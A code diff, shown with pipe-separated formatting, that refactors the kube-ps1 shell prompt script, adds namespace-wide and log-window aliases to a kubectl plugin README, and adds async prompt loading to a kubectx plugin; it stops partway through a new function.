[[ -f "${_KUBE_PS1_DISABLE_PATH}" ]] && KUBE_PS1_ENABLED=off
|
[[ -f "${_KUBE_PS1_DISABLE_PATH}" ]] && KUBE_PS1_ENABLED=off
|
||||||
|
|
||||||
case "$(_kube_ps1_shell_type)" in
|
# Detect shell type once and cache it
|
||||||
|
_KUBE_PS1_SHELL="$(_kube_ps1_shell_type)"
|
||||||
|
|
||||||
|
# Check tput availability once
|
||||||
|
if tput setaf 1 &> /dev/null; then
|
||||||
|
_KUBE_PS1_TPUT_AVAILABLE=true
|
||||||
|
else
|
||||||
|
_KUBE_PS1_TPUT_AVAILABLE=false
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect stat type once (not needed for zsh which uses zstat builtin)
|
||||||
|
if [[ "${_KUBE_PS1_SHELL}" != "zsh" ]]; then
|
||||||
|
if stat -c "%s" /dev/null &> /dev/null; then
|
||||||
|
_KUBE_PS1_STAT_TYPE="gnu"
|
||||||
|
else
|
||||||
|
_KUBE_PS1_STAT_TYPE="bsd"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
case "${_KUBE_PS1_SHELL}" in
|
||||||
"zsh")
|
"zsh")
|
||||||
_KUBE_PS1_OPEN_ESC="%{"
|
_KUBE_PS1_OPEN_ESC="%{"
|
||||||
_KUBE_PS1_CLOSE_ESC="%}"
|
_KUBE_PS1_CLOSE_ESC="%}"
|
||||||
@@ -88,20 +107,20 @@ _kube_ps1_color_fg() {
|
|||||||
magenta) _KUBE_PS1_FG_CODE=5;;
|
magenta) _KUBE_PS1_FG_CODE=5;;
|
||||||
cyan) _KUBE_PS1_FG_CODE=6;;
|
cyan) _KUBE_PS1_FG_CODE=6;;
|
||||||
white) _KUBE_PS1_FG_CODE=7;;
|
white) _KUBE_PS1_FG_CODE=7;;
|
||||||
# 256
|
# 256 colors
|
||||||
[0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_FG_CODE="${1}";;
|
[0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_FG_CODE="${1}";;
|
||||||
*) _KUBE_PS1_FG_CODE=default
|
*) _KUBE_PS1_FG_CODE=default
|
||||||
esac
|
esac
|
||||||
|
|
||||||
if [[ "${_KUBE_PS1_FG_CODE}" == "default" ]]; then
|
if [[ "${_KUBE_PS1_FG_CODE}" == "default" ]]; then
|
||||||
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}"
|
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}"
|
||||||
return
|
return
|
||||||
elif [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then
|
elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
|
||||||
_KUBE_PS1_FG_CODE="%F{$_KUBE_PS1_FG_CODE}"
|
_KUBE_PS1_FG_CODE="%F{$_KUBE_PS1_FG_CODE}"
|
||||||
elif [[ "$(_kube_ps1_shell_type)" == "bash" ]]; then
|
elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then
|
||||||
if tput setaf 1 &> /dev/null; then
|
if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then
|
||||||
_KUBE_PS1_FG_CODE="$(tput setaf "${_KUBE_PS1_FG_CODE}")"
|
_KUBE_PS1_FG_CODE="$(tput setaf "${_KUBE_PS1_FG_CODE}")"
|
||||||
elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 256 ]]; then
|
elif [[ $_KUBE_PS1_FG_CODE -ge 0 ]] && [[ $_KUBE_PS1_FG_CODE -le 255 ]]; then
|
||||||
_KUBE_PS1_FG_CODE="\033[38;5;${_KUBE_PS1_FG_CODE}m"
|
_KUBE_PS1_FG_CODE="\033[38;5;${_KUBE_PS1_FG_CODE}m"
|
||||||
else
|
else
|
||||||
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}"
|
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_FG}"
|
||||||
@@ -121,30 +140,30 @@ _kube_ps1_color_bg() {
|
|||||||
magenta) _KUBE_PS1_BG_CODE=5;;
|
magenta) _KUBE_PS1_BG_CODE=5;;
|
||||||
cyan) _KUBE_PS1_BG_CODE=6;;
|
cyan) _KUBE_PS1_BG_CODE=6;;
|
||||||
white) _KUBE_PS1_BG_CODE=7;;
|
white) _KUBE_PS1_BG_CODE=7;;
|
||||||
# 256
|
# 256 colors
|
||||||
[0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-6]) _KUBE_PS1_BG_CODE="${1}";;
|
[0-9]|[1-9][0-9]|[1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]) _KUBE_PS1_BG_CODE="${1}";;
|
||||||
*) _KUBE_PS1_BG_CODE=$'\033[0m';;
|
*) _KUBE_PS1_BG_CODE=default
|
||||||
esac
|
esac
|
||||||
|
|
||||||
if [[ "${_KUBE_PS1_BG_CODE}" == "default" ]]; then
|
if [[ "${_KUBE_PS1_BG_CODE}" == "default" ]]; then
|
||||||
_KUBE_PS1_FG_CODE="${_KUBE_PS1_DEFAULT_BG}"
|
_KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}"
|
||||||
return
|
return
|
||||||
elif [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then
|
elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
|
||||||
_KUBE_PS1_BG_CODE="%K{$_KUBE_PS1_BG_CODE}"
|
_KUBE_PS1_BG_CODE="%K{$_KUBE_PS1_BG_CODE}"
|
||||||
elif [[ "$(_kube_ps1_shell_type)" == "bash" ]]; then
|
elif [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then
|
||||||
if tput setaf 1 &> /dev/null; then
|
if [[ "${_KUBE_PS1_TPUT_AVAILABLE}" == "true" ]]; then
|
||||||
_KUBE_PS1_BG_CODE="$(tput setab "${_KUBE_PS1_BG_CODE}")"
|
_KUBE_PS1_BG_CODE="$(tput setab "${_KUBE_PS1_BG_CODE}")"
|
||||||
elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 256 ]]; then
|
elif [[ $_KUBE_PS1_BG_CODE -ge 0 ]] && [[ $_KUBE_PS1_BG_CODE -le 255 ]]; then
|
||||||
_KUBE_PS1_BG_CODE="\033[48;5;${_KUBE_PS1_BG_CODE}m"
|
_KUBE_PS1_BG_CODE="\033[48;5;${_KUBE_PS1_BG_CODE}m"
|
||||||
else
|
else
|
||||||
_KUBE_PS1_BG_CODE="${DEFAULT_BG}"
|
_KUBE_PS1_BG_CODE="${_KUBE_PS1_DEFAULT_BG}"
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
echo "${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_BG_CODE}${_KUBE_PS1_CLOSE_ESC}"
|
echo "${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_BG_CODE}${_KUBE_PS1_CLOSE_ESC}"
|
||||||
}
|
}
|
||||||
|
|
||||||
_kube_ps1_binary_check() {
|
_kube_ps1_binary_check() {
|
||||||
command -v $1 >/dev/null
|
command -v "$1" >/dev/null
|
||||||
}
|
}
|
||||||
|
|
||||||
_kube_ps1_symbol() {
|
_kube_ps1_symbol() {
|
||||||
@@ -161,6 +180,7 @@ _kube_ps1_symbol() {
|
|||||||
local oc_glyph=$'\ue7b7'
|
local oc_glyph=$'\ue7b7'
|
||||||
local oc_symbol_color=red
|
local oc_symbol_color=red
|
||||||
local custom_symbol_color="${KUBE_PS1_SYMBOL_COLOR:-$k8s_symbol_color}"
|
local custom_symbol_color="${KUBE_PS1_SYMBOL_COLOR:-$k8s_symbol_color}"
|
||||||
|
local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}"
|
||||||
|
|
||||||
# Choose the symbol based on the provided argument or environment variable
|
# Choose the symbol based on the provided argument or environment variable
|
||||||
case "${symbol_arg}" in
|
case "${symbol_arg}" in
|
||||||
@@ -174,7 +194,7 @@ _kube_ps1_symbol() {
|
|||||||
symbol="$(_kube_ps1_color_fg ${oc_symbol_color})${oc_glyph}${KUBE_PS1_RESET_COLOR}"
|
symbol="$(_kube_ps1_color_fg ${oc_symbol_color})${oc_glyph}${KUBE_PS1_RESET_COLOR}"
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
case "$(_kube_ps1_shell_type)" in
|
case "${_KUBE_PS1_SHELL}" in
|
||||||
bash)
|
bash)
|
||||||
if ((BASH_VERSINFO[0] >= 4)) && [[ $'\u2388' != "\\u2388" ]]; then
|
if ((BASH_VERSINFO[0] >= 4)) && [[ $'\u2388' != "\\u2388" ]]; then
|
||||||
symbol="$(_kube_ps1_color_fg $custom_symbol_color)${symbol_default}${KUBE_PS1_RESET_COLOR}"
|
symbol="$(_kube_ps1_color_fg $custom_symbol_color)${symbol_default}${KUBE_PS1_RESET_COLOR}"
|
||||||
@@ -212,18 +232,30 @@ _kube_ps1_file_newer_than() {
|
|||||||
local file=$1
|
local file=$1
|
||||||
local check_time=$2
|
local check_time=$2
|
||||||
|
|
||||||
if [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then
|
if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
|
||||||
# Use zstat '-F %s.%s' to make it compatible with low zsh version (eg: 5.0.2)
|
# Use zstat '-F %s.%s' to make it compatible with low zsh version (eg: 5.0.2)
|
||||||
mtime=$(zstat -L +mtime -F %s.%s "${file}")
|
mtime=$(zstat -L +mtime -F %s.%s "${file}")
|
||||||
elif stat -c "%s" /dev/null &> /dev/null; then
|
elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then
|
||||||
# GNU stat
|
|
||||||
mtime=$(stat -L -c %Y "${file}")
|
mtime=$(stat -L -c %Y "${file}")
|
||||||
else
|
else
|
||||||
# BSD stat
|
|
||||||
mtime=$(stat -L -f %m "$file")
|
mtime=$(stat -L -f %m "$file")
|
||||||
fi
|
fi
|
||||||
|
|
||||||
[[ "${mtime}" -gt "${check_time}" ]]
|
[[ "${mtime}" -gt "${check_time}" ]] && return 0
|
||||||
|
|
||||||
|
# If the path is a symlink, also check the symlink's own mtime
|
||||||
|
if [[ -L "${file}" ]]; then
|
||||||
|
if [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
|
||||||
|
mtime=$(zstat +mtime -F %s.%s "${file}")
|
||||||
|
elif [[ "${_KUBE_PS1_STAT_TYPE}" == "gnu" ]]; then
|
||||||
|
mtime=$(stat -c %Y "${file}")
|
||||||
|
else
|
||||||
|
mtime=$(stat -f %m "$file")
|
||||||
|
fi
|
||||||
|
[[ "${mtime}" -gt "${check_time}" ]] && return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
_kube_ps1_prompt_update() {
|
_kube_ps1_prompt_update() {
|
||||||
@@ -270,7 +302,6 @@ _kube_ps1_prompt_update() {
|
|||||||
_kube_ps1_get_context() {
|
_kube_ps1_get_context() {
|
||||||
if [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]]; then
|
if [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]]; then
|
||||||
KUBE_PS1_CONTEXT="$(${KUBE_PS1_BINARY} config current-context 2>/dev/null)"
|
KUBE_PS1_CONTEXT="$(${KUBE_PS1_BINARY} config current-context 2>/dev/null)"
|
||||||
# Set namespace to 'N/A' if it is not defined
|
|
||||||
KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}"
|
KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}"
|
||||||
|
|
||||||
if [[ -n "${KUBE_PS1_CLUSTER_FUNCTION}" ]]; then
|
if [[ -n "${KUBE_PS1_CLUSTER_FUNCTION}" ]]; then
|
||||||
@@ -292,19 +323,16 @@ _kube_ps1_get_ns() {
|
|||||||
|
|
||||||
_kube_ps1_get_context_ns() {
|
_kube_ps1_get_context_ns() {
|
||||||
# Set the command time
|
# Set the command time
|
||||||
if [[ "$(_kube_ps1_shell_type)" == "bash" ]]; then
|
if [[ "${_KUBE_PS1_SHELL}" == "bash" ]]; then
|
||||||
if ((BASH_VERSINFO[0] >= 4 && BASH_VERSINFO[1] >= 2)); then
|
if ((BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 2))); then
|
||||||
_KUBE_PS1_LAST_TIME=$(printf '%(%s)T')
|
_KUBE_PS1_LAST_TIME=$(printf '%(%s)T')
|
||||||
else
|
else
|
||||||
_KUBE_PS1_LAST_TIME=$(date +%s)
|
_KUBE_PS1_LAST_TIME=$(date +%s)
|
||||||
fi
|
fi
|
||||||
elif [[ "$(_kube_ps1_shell_type)" == "zsh" ]]; then
|
elif [[ "${_KUBE_PS1_SHELL}" == "zsh" ]]; then
|
||||||
_KUBE_PS1_LAST_TIME=$EPOCHREALTIME
|
_KUBE_PS1_LAST_TIME=$EPOCHREALTIME
|
||||||
fi
|
fi
|
||||||
|
|
||||||
KUBE_PS1_CONTEXT="${KUBE_PS1_CONTEXT:-N/A}"
|
|
||||||
KUBE_PS1_NAMESPACE="${KUBE_PS1_NAMESPACE:-N/A}"
|
|
||||||
|
|
||||||
# Cache which cfgfiles we can read in case they change.
|
# Cache which cfgfiles we can read in case they change.
|
||||||
local conf
|
local conf
|
||||||
_KUBE_PS1_CFGFILES_READ_CACHE=
|
_KUBE_PS1_CFGFILES_READ_CACHE=
|
||||||
@@ -325,7 +353,7 @@ Toggle kube-ps1 prompt on
|
|||||||
|
|
||||||
Usage: kubeon [-g | --global] [-h | --help]
|
Usage: kubeon [-g | --global] [-h | --help]
|
||||||
|
|
||||||
With no arguments, turn oon kube-ps1 status for this shell instance (default).
|
With no arguments, turn on kube-ps1 status for this shell instance (default).
|
||||||
|
|
||||||
-g --global turn on kube-ps1 status globally
|
-g --global turn on kube-ps1 status globally
|
||||||
-h --help print this message
|
-h --help print this message
|
||||||
@@ -348,12 +376,13 @@ EOF
|
|||||||
kubeon() {
|
kubeon() {
|
||||||
if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then
|
if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then
|
||||||
_kubeon_usage
|
_kubeon_usage
|
||||||
|
return 0
|
||||||
elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then
|
elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then
|
||||||
rm -f -- "${_KUBE_PS1_DISABLE_PATH}"
|
rm -f -- "${_KUBE_PS1_DISABLE_PATH}"
|
||||||
elif [[ "$#" -ne 0 ]]; then
|
elif [[ "$#" -ne 0 ]]; then
|
||||||
echo -e "error: unrecognized flag ${1}\\n"
|
echo -e "error: unrecognized flag ${1}\\n" >&2
|
||||||
_kubeon_usage
|
_kubeon_usage
|
||||||
return
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
KUBE_PS1_ENABLED=on
|
KUBE_PS1_ENABLED=on
|
||||||
@@ -362,13 +391,14 @@ kubeon() {
|
|||||||
kubeoff() {
|
kubeoff() {
|
||||||
if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then
|
if [[ "${1}" == '-h' || "${1}" == '--help' ]]; then
|
||||||
_kubeoff_usage
|
_kubeoff_usage
|
||||||
|
return 0
|
||||||
elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then
|
elif [[ "${1}" == '-g' || "${1}" == '--global' ]]; then
|
||||||
mkdir -p -- "$(dirname "${_KUBE_PS1_DISABLE_PATH}")"
|
mkdir -p -- "$(dirname "${_KUBE_PS1_DISABLE_PATH}")"
|
||||||
touch -- "${_KUBE_PS1_DISABLE_PATH}"
|
touch -- "${_KUBE_PS1_DISABLE_PATH}"
|
||||||
elif [[ $# -ne 0 ]]; then
|
elif [[ $# -ne 0 ]]; then
|
||||||
echo "error: unrecognized flag ${1}" >&2
|
echo -e "error: unrecognized flag ${1}\\n" >&2
|
||||||
_kubeoff_usage
|
_kubeoff_usage
|
||||||
return
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
KUBE_PS1_ENABLED=off
|
KUBE_PS1_ENABLED=off
|
||||||
@@ -380,15 +410,9 @@ kube_ps1() {
|
|||||||
[[ -z "${KUBE_PS1_CONTEXT}" ]] && [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]] && return
|
[[ -z "${KUBE_PS1_CONTEXT}" ]] && [[ "${KUBE_PS1_CONTEXT_ENABLE}" == true ]] && return
|
||||||
[[ "${KUBE_PS1_CONTEXT}" == "N/A" ]] && [[ ${KUBE_PS1_HIDE_IF_NOCONTEXT} == true ]] && return
|
[[ "${KUBE_PS1_CONTEXT}" == "N/A" ]] && [[ ${KUBE_PS1_HIDE_IF_NOCONTEXT} == true ]] && return
|
||||||
|
|
||||||
|
|
||||||
local KUBE_PS1
|
local KUBE_PS1
|
||||||
local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}"
|
local KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_CLOSE_ESC}"
|
||||||
|
|
||||||
# If background color is set, reset color should also reset the background
|
|
||||||
# if [[ -n "${KUBE_PS1_BG_COLOR}" ]]; then
|
|
||||||
# KUBE_PS1_RESET_COLOR="${_KUBE_PS1_OPEN_ESC}${_KUBE_PS1_DEFAULT_FG}${_KUBE_PS1_DEFAULT_BG}${_KUBE_PS1_CLOSE_ESC}"
|
|
||||||
# fi
|
|
||||||
|
|
||||||
# Background Color
|
# Background Color
|
||||||
[[ -n "${KUBE_PS1_BG_COLOR}" ]] && KUBE_PS1+="$(_kube_ps1_color_bg "${KUBE_PS1_BG_COLOR}")"
|
[[ -n "${KUBE_PS1_BG_COLOR}" ]] && KUBE_PS1+="$(_kube_ps1_color_bg "${KUBE_PS1_BG_COLOR}")"
|
||||||
|
|
||||||
|
|||||||
@@ -35,13 +35,16 @@ plugins=(... kubectl)
|
|||||||
| kgpl | `kgp -l` | Get pods by label. Example: `kgpl "app=myapp" -n myns` |
|
| kgpl | `kgp -l` | Get pods by label. Example: `kgpl "app=myapp" -n myns` |
|
||||||
| kgpn | `kgp -n` | Get pods by namespace. Example: `kgpn kube-system` |
|
| kgpn | `kgp -n` | Get pods by namespace. Example: `kgpn kube-system` |
|
||||||
| kgpsl | `kubectl get pods --show-labels` | List all pods in ps output format with labels |
|
| kgpsl | `kubectl get pods --show-labels` | List all pods in ps output format with labels |
|
||||||
|
| kgpa | `kubectl get pods --all-namespaces` | List all pods in ps output format across all namespaces |
|
||||||
| kgpw | `kgp --watch` | After listing/getting the requested object, watch for changes |
|
| kgpw | `kgp --watch` | After listing/getting the requested object, watch for changes |
|
||||||
| kgpwide | `kgp -o wide` | Output in plain-text format with any additional information. For pods, the node name is included |
|
| kgpwide | `kgp -o wide` | Output in plain-text format with any additional information. For pods, the node name is included |
|
||||||
|
| kgpall | `kubectl get pods --all-namespaces -o wide` | List all pods across all namespaces in wide output format (including node name) |
|
||||||
| kep | `kubectl edit pods` | Edit pods from the default editor |
|
| kep | `kubectl edit pods` | Edit pods from the default editor |
|
||||||
| kdp | `kubectl describe pods` | Describe all pods |
|
| kdp | `kubectl describe pods` | Describe all pods |
|
||||||
| kdelp | `kubectl delete pods` | Delete all pods matching passed arguments |
|
| kdelp | `kubectl delete pods` | Delete all pods matching passed arguments |
|
||||||
| | | **Service management** |
|
| | | **Service management** |
|
||||||
| kgs | `kubectl get svc` | List all services in ps output format |
|
| kgs | `kubectl get svc` | List all services in ps output format |
|
||||||
|
| kgsa | `kubectl get svc --all-namespaces` | List all services across all namespaces |
|
||||||
| kgsw | `kgs --watch` | After listing all services, watch for changes |
|
| kgsw | `kgs --watch` | After listing all services, watch for changes |
|
||||||
| kgswide | `kgs -o wide` | After listing all services, output in plain-text format with any additional information |
|
| kgswide | `kgs -o wide` | After listing all services, output in plain-text format with any additional information |
|
||||||
| kes | `kubectl edit svc` | Edit services(svc) from the default editor |
|
| kes | `kubectl edit svc` | Edit services(svc) from the default editor |
|
||||||
@@ -49,6 +52,7 @@ plugins=(... kubectl)
|
|||||||
| kdels | `kubectl delete svc` | Delete all services matching passed argument |
|
| kdels | `kubectl delete svc` | Delete all services matching passed argument |
|
||||||
| | | **Ingress management** |
|
| | | **Ingress management** |
|
||||||
| kgi | `kubectl get ingress` | List ingress resources in ps output format |
|
| kgi | `kubectl get ingress` | List ingress resources in ps output format |
|
||||||
|
| kgia | `kubectl get ingress --all-namespaces` | List ingress resources across all namespaces |
|
||||||
| kei | `kubectl edit ingress` | Edit ingress resource from the default editor |
|
| kei | `kubectl edit ingress` | Edit ingress resource from the default editor |
|
||||||
| kdi | `kubectl describe ingress` | Describe ingress resource in detail |
|
| kdi | `kubectl describe ingress` | Describe ingress resource in detail |
|
||||||
| kdeli | `kubectl delete ingress` | Delete ingress resources matching passed argument |
|
| kdeli | `kubectl delete ingress` | Delete ingress resources matching passed argument |
|
||||||
@@ -60,15 +64,18 @@ plugins=(... kubectl)
|
|||||||
| kdelns | `kubectl delete namespace` | Delete the namespace. WARNING! This deletes everything in the namespace |
|
| kdelns | `kubectl delete namespace` | Delete the namespace. WARNING! This deletes everything in the namespace |
|
||||||
| | | **ConfigMap management** |
|
| | | **ConfigMap management** |
|
||||||
| kgcm | `kubectl get configmaps` | List the configmaps in ps output format |
|
| kgcm | `kubectl get configmaps` | List the configmaps in ps output format |
|
||||||
|
| kgcma | `kubectl get configmaps --all-namespaces` | List configmaps across all namespaces |
|
||||||
| kecm | `kubectl edit configmap` | Edit configmap resource from the default editor |
|
| kecm | `kubectl edit configmap` | Edit configmap resource from the default editor |
|
||||||
| kdcm | `kubectl describe configmap` | Describe configmap resource in detail |
|
| kdcm | `kubectl describe configmap` | Describe configmap resource in detail |
|
||||||
| kdelcm | `kubectl delete configmap` | Delete the configmap |
|
| kdelcm | `kubectl delete configmap` | Delete the configmap |
|
||||||
| | | **Secret management** |
|
| | | **Secret management** |
|
||||||
| kgsec | `kubectl get secret` | Get secret for decoding |
|
| kgsec | `kubectl get secret` | Get secret for decoding |
|
||||||
|
| kgseca | `kubectl get secret --all-namespaces` | List secrets across all namespaces |
|
||||||
| kdsec | `kubectl describe secret` | Describe secret resource in detail |
|
| kdsec | `kubectl describe secret` | Describe secret resource in detail |
|
||||||
| kdelsec | `kubectl delete secret` | Delete the secret |
|
| kdelsec | `kubectl delete secret` | Delete the secret |
|
||||||
| | | **Deployment management** |
|
| | | **Deployment management** |
|
||||||
| kgd | `kubectl get deployment` | Get the deployment |
|
| kgd | `kubectl get deployment` | Get the deployment |
|
||||||
|
| kgda | `kubectl get deployment --all-namespaces` | List deployments across all namespaces |
|
||||||
| kgdw | `kgd --watch` | After getting the deployment, watch for changes |
|
| kgdw | `kgd --watch` | After getting the deployment, watch for changes |
|
||||||
| kgdwide | `kgd -o wide` | After getting the deployment, output in plain-text format with any additional information |
|
| kgdwide | `kgd -o wide` | After getting the deployment, output in plain-text format with any additional information |
|
||||||
| ked | `kubectl edit deployment` | Edit deployment resource from the default editor |
|
| ked | `kubectl edit deployment` | Edit deployment resource from the default editor |
|
||||||
@@ -91,7 +98,13 @@ plugins=(... kubectl)
|
|||||||
| kgaa | `kubectl get all --all-namespaces` | List the requested object(s) across all namespaces |
|
| kgaa | `kubectl get all --all-namespaces` | List the requested object(s) across all namespaces |
|
||||||
| | | **Logs** |
|
| | | **Logs** |
|
||||||
| kl | `kubectl logs` | Print the logs for a container or resource |
|
| kl | `kubectl logs` | Print the logs for a container or resource |
|
||||||
|
| kl1h | `kubectl logs --since 1h` | Print logs from the last hour for a container or resource |
|
||||||
|
| kl1m | `kubectl logs --since 1m` | Print logs from the last minute for a container or resource |
|
||||||
|
| kl1s | `kubectl logs --since 1s` | Print logs from the last second for a container or resource |
|
||||||
| klf | `kubectl logs -f` | Stream the logs for a container or resource (follow) |
|
| klf | `kubectl logs -f` | Stream the logs for a container or resource (follow) |
|
||||||
|
| klf1h | `kubectl logs --since 1h -f` | Stream logs from the last hour for a container or resource (follow) |
|
||||||
|
| klf1m | `kubectl logs --since 1m -f` | Stream logs from the last minute for a container or resource (follow) |
|
||||||
|
| klf1s | `kubectl logs --since 1s -f` | Stream logs from the last second for a container or resource (follow) |
|
||||||
| | | **File copy** |
|
| | | **File copy** |
|
||||||
| kcp | `kubectl cp` | Copy files and directories to and from containers |
|
| kcp | `kubectl cp` | Copy files and directories to and from containers |
|
||||||
| | | **Node management** |
|
| | | **Node management** |
|
||||||
@@ -102,12 +115,14 @@ plugins=(... kubectl)
|
|||||||
| kdelno | `kubectl delete node` | Delete the node |
|
| kdelno | `kubectl delete node` | Delete the node |
|
||||||
| | | **Persistent Volume Claim management** |
|
| | | **Persistent Volume Claim management** |
|
||||||
| kgpvc | `kubectl get pvc` | List all PVCs |
|
| kgpvc | `kubectl get pvc` | List all PVCs |
|
||||||
|
| kgpvca | `kubectl get pvc --all-namespaces` | List all PVCs across all namespaces |
|
||||||
| kgpvcw | `kgpvc --watch` | After listing/getting the requested object, watch for changes |
|
| kgpvcw | `kgpvc --watch` | After listing/getting the requested object, watch for changes |
|
||||||
| kepvc | `kubectl edit pvc` | Edit pvcs from the default editor |
|
| kepvc | `kubectl edit pvc` | Edit pvcs from the default editor |
|
||||||
| kdpvc | `kubectl describe pvc` | Describe all pvcs |
|
| kdpvc | `kubectl describe pvc` | Describe all pvcs |
|
||||||
| kdelpvc | `kubectl delete pvc` | Delete all pvcs matching passed arguments |
|
| kdelpvc | `kubectl delete pvc` | Delete all pvcs matching passed arguments |
|
||||||
| | | **StatefulSets management** |
|
| | | **StatefulSets management** |
|
||||||
| kgss | `kubectl get statefulset` | List the statefulsets in ps format |
|
| kgss | `kubectl get statefulset` | List the statefulsets in ps format |
|
||||||
|
| kgssa | `kubectl get statefulset --all-namespaces` | List statefulsets across all namespaces |
|
||||||
| kgssw | `kgss --watch` | After getting the list of statefulsets, watch for changes |
|
| kgssw | `kgss --watch` | After getting the list of statefulsets, watch for changes |
|
||||||
| kgsswide | `kgss -o wide` | After getting the statefulsets, output in plain-text format with any additional information |
|
| kgsswide | `kgss -o wide` | After getting the statefulsets, output in plain-text format with any additional information |
|
||||||
| kess | `kubectl edit statefulset` | Edit statefulset resource from the default editor |
|
| kess | `kubectl edit statefulset` | Edit statefulset resource from the default editor |
|
||||||
@@ -121,6 +136,7 @@ plugins=(... kubectl)
|
|||||||
| kdelsa | `kubectl delete sa` | Delete the service account |
|
| kdelsa | `kubectl delete sa` | Delete the service account |
|
||||||
| | | **DaemonSet management** |
|
| | | **DaemonSet management** |
|
||||||
| kgds | `kubectl get daemonset` | List all DaemonSets in ps output format |
|
| kgds | `kubectl get daemonset` | List all DaemonSets in ps output format |
|
||||||
|
| kgdsa | `kubectl get daemonset --all-namespaces` | List all DaemonSets across all namespaces |
|
||||||
| kgdsw | `kgds --watch` | After listing all DaemonSets, watch for changes |
|
| kgdsw | `kgds --watch` | After listing all DaemonSets, watch for changes |
|
||||||
| keds | `kubectl edit daemonset` | Edit DaemonSets from the default editor |
|
| keds | `kubectl edit daemonset` | Edit DaemonSets from the default editor |
|
||||||
| kdds | `kubectl describe daemonset` | Describe all DaemonSets in detail |
|
| kdds | `kubectl describe daemonset` | Describe all DaemonSets in detail |
|
||||||
|
|||||||
@@ -22,6 +22,21 @@ RPS1='$(kubectx_prompt_info)'
|
|||||||
PROMPT="$PROMPT"'$(kubectx_prompt_info)'
|
PROMPT="$PROMPT"'$(kubectx_prompt_info)'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
The context is loaded asynchronously on supported versions of zsh so that
|
||||||
|
`kubectl` does not block the prompt. To restore synchronous behavior, add this
|
||||||
|
before Oh My Zsh is sourced:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
zstyle ':omz:alpha:plugins:kubectx' async-prompt no
|
||||||
|
```
|
||||||
|
|
||||||
|
If your theme calls `kubectx_prompt_info` indirectly through another function,
|
||||||
|
force registration of the async handler instead:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
zstyle ':omz:alpha:plugins:kubectx' async-prompt force
|
||||||
|
```
|
||||||
|
|
||||||
### Custom context names
|
### Custom context names
|
||||||
|
|
||||||
You can rename the default context name for better readability or additional formatting.
|
You can rename the default context name for better readability or additional formatting.
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
typeset -g -A kubectx_mapping
|
typeset -g -A kubectx_mapping
|
||||||
|
|
||||||
function kubectx_prompt_info() {
|
function _omz_kubectx_prompt_info() {
|
||||||
(( $+commands[kubectl] )) || return
|
(( $+commands[kubectl] )) || return
|
||||||
|
|
||||||
local current_ctx=$(kubectl config current-context 2> /dev/null)
|
local current_ctx=$(kubectl config current-context 2> /dev/null)
|
||||||
@@ -13,3 +13,34 @@ function kubectx_prompt_info() {
|
|||||||
# the context name, as it could contain a % character.
|
# the context name, as it could contain a % character.
|
||||||
echo "${kubectx_mapping[$current_ctx]:-${current_ctx:gs/%/%%}}"
|
echo "${kubectx_mapping[$current_ctx]:-${current_ctx:gs/%/%%}}"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function kubectx_prompt_info() {
|
||||||
|
if (( ${+_OMZ_ASYNC_OUTPUT} )) \
|
||||||
|
